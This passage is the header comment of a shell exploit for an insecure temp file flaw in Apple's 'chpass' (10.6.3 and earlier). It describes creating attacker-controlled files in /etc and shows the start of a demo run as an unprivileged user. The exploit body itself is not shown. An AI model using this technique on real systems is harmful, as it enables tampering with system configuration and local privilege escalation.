# Apple <= 10.6.3 'chpass' BSD insecure temp file creation in /etc vuln
# =====================================================================
# A user can create a file with rw perms in /etc as owner and populate
# it with arbitrary data. This could be utilized to fill the disk or
# write configuration file information that could be combined with
# another flaw to elevate local privileges. This shell script takes
# an arguement which is the filename to create (appended with .XXXXXX)
# or I.HAX by default.
#
# e.g
#
# fantastics-macbook:~ fantastic$ id
# uid=501(fantastic) gid=20(staff) groups=20(staff)
# fantastics-macbook:~ fantastic$ ls -l /etc
# lrwxr-xr-x@ 1 root wheel 11 10 Feb 18:42 /etc -> private/etc
# fantastics-macbook:~ fantastic$ ./prdelka-vs-APPLE-chpass.sh
